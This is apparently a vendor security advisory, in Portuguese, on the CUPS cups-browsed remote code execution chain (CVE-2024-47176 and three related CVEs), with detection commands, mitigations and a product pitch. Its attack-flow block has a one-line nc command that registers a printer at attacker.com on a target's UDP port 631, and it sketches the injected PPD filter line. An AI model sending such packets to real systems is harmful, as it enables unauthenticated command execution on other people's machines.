剣 KENSAI
Crítico CVE-2024-47176 Outubro 2024 · 9 min de leitura

CVE-2024-47176: CUPS Linux RCE — 300K sistemas expostos à Internet

Uma cadeia de quatro vulnerabilidades CUPS (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177) permite a execução remota de código não autenticado em sistemas Linux executando o cups-browsed. Mais de 300,000 sistemas foram expostos à Internet no momento da divulgação. Afeta Ubuntu, Debian, Red Hat, Fedora e a maioria das distribuições Linux por padrão.


9.9
CRÍTICO
AtributoValor
CVE primárioCVE-2024-47176
CVEs relacionadosCVE-2024-47076, -47175, -47177
Vetor CVSSAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWECWE-20: Validação de entrada inadequada
Publicado26 de setembro de 2024
ExploraçãoPúblico PoC — verificação oportunista observada

O que é CVE-2024-47176?

CUPS (Common Unix Printing System) é a infraestrutura de impressão padrão em Linux e macOS. O cups-browsed daemon escuta na porta UDP 631 anúncios de impressora na rede. CVE-2024-47176 é o ponto de entrada em uma cadeia de quatro vulnerabilidades: cups-browsed aceita pacotes UDP de qualquer fonte, incluindo a Internet, sem autenticação.

Ao enviar um pacote UDP criado para a porta 631, um invasor pode fazer com que o sistema da vítima se conecte novamente a uma “impressora” controlada pelo invasor. A impressora maliciosa fornece um arquivo PPD (PostScript Printer Description) criado contendo comandos incorporados. Quando a vítima imprime qualquer coisa, esses comandos são executados em seu sistema.

A cadeia de ataque completa

CVEComponenteDescrição
CVE-2024-47176cups-browsedVincula-se ao UDP 0.0.0.0:631, aceita pacotes de qualquer IP
CVE-2024-47076libcupsfiltersValores de atributos IPP não limpos ao criar arquivos PPD
CVE-2024-47175libppdA geração de arquivo PPD não limpa atributos IPP
CVE-2024-47177cups-filtersFoomaticRIPCommandLine permite execução arbitrária de comandos

Fluxo de ataque

# Step 1: Attacker sends UDP packet to target:631
echo "0 3 http://attacker.com:8631/printers/evil" | nc -u -w1 target.com 631

# Step 2: cups-browsed fetches IPP attributes from attacker's server
# Attacker's server returns malicious printer attributes

# Step 3: libcupsfilters/libppd creates PPD with unsanitized attacker data
# PPD contains: *cupsFilter: "application/vnd.cups-pdf 0 [attacker-cmd]"

# Step 4: Next time any user prints (or admin triggers test print):
# FoomaticRIP executes the command from the PPD
# Command runs as the lp user (often has significant filesystem access)

⚠ Nenhuma interação do usuário após a configuração

O invasor só precisa enviar um pacote UDP para estabelecer a impressora maliciosa. A exploração é então acionada sempre que qualquer usuário do sistema tenta imprimir – incluindo trabalhos de impressão de rotina que podem acontecer horas ou dias depois. Nos servidores, um invasor também pode desencadear a exploração remotamente, enviando um trabalho de impressão para a impressora maliciosa recém-instalada.

Escopo do Impacto

No momento da divulgação, as varreduras Shodan e Censys identificaram aproximadamente 300,000 sistemas expostos à Internet com a porta UDP 631 aberta. A vulnerabilidade afeta praticamente todas as principais distribuições Linux que são enviadas com cups-browsed:

macOS não é afetado porque usa sua própria pilha de impressão. No entanto, macOS também usa CUPS internamente, portanto, certas configurações podem ser afetadas por problemas relacionados.

Detecção

# Check if cups-browsed is running
systemctl status cups-browsed
ps aux | grep cups-browsed

# Check if UDP 631 is exposed
ss -ulnp | grep 631
netstat -ulnp | grep 631

# Check for unexpected printer additions
lpstat -a
cat /etc/cups/printers.conf | grep -i "deviceuri\|remote"

# Look for suspicious PPD files
find /etc/cups /var/cache/cups -name "*.ppd" -newer /etc/cups/cups-browsed.conf

# Check logs for unexpected IPP connections
grep "cups-browsed" /var/log/cups/error_log | grep "Adding\|New printer"

Mitigação

  1. Pare e desative o cups-browsed se não for necessário:
    sudo systemctl stop cups-browsed
    sudo systemctl disable cups-browsed
  2. Aplicar patches: cups-browsed 2.0.1 e cups-filters 2.0.1 resolvem as vulnerabilidades. Ubuntu, Debian e Red Hat lançaram patches poucos dias após a divulgação.
  3. Bloqueie a porta UDP 631 no firewall: Impedir que pacotes externos cheguem ao cups-browsed
    sudo iptables -A INPUT -p udp --dport 631 -j DROP
    sudo ufw deny 631/udp
  4. Remova o FoomaticRIP se não for necessário: A etapa final do RCE requer foomatic-rip. Removê-lo (se não forem usadas impressoras Foomatic) elimina a capacidade de execução de código.
  5. Auditar configurações da impressora: Remova todas as entradas de impressora não reconhecidas do /etc/cups/printers.conf

💡 A maioria dos servidores não é vulnerável: As instalações de servidor do Linux normalmente não instalam o cups-browsed por padrão. O maior risco está nas estações de trabalho e máquinas de desenvolvimento Linux. No entanto, qualquer sistema Linux configurado para impressão deve ser auditado.

Capacidade de detecção KENSAI

Quantos sistemas Linux em seu ambiente foram expostos pelo cups-browsed?

KENSAI verifica sua superfície de ataque interna e externa em busca de vulnerabilidades CUPS em todos os sistemas Linux. Obtenha a imagem completa em minutos.

Encontre a exposição CUPS →

Artigos relacionados

CISA. Divergência cibernética EUA-UE se intensifica Redirecionando...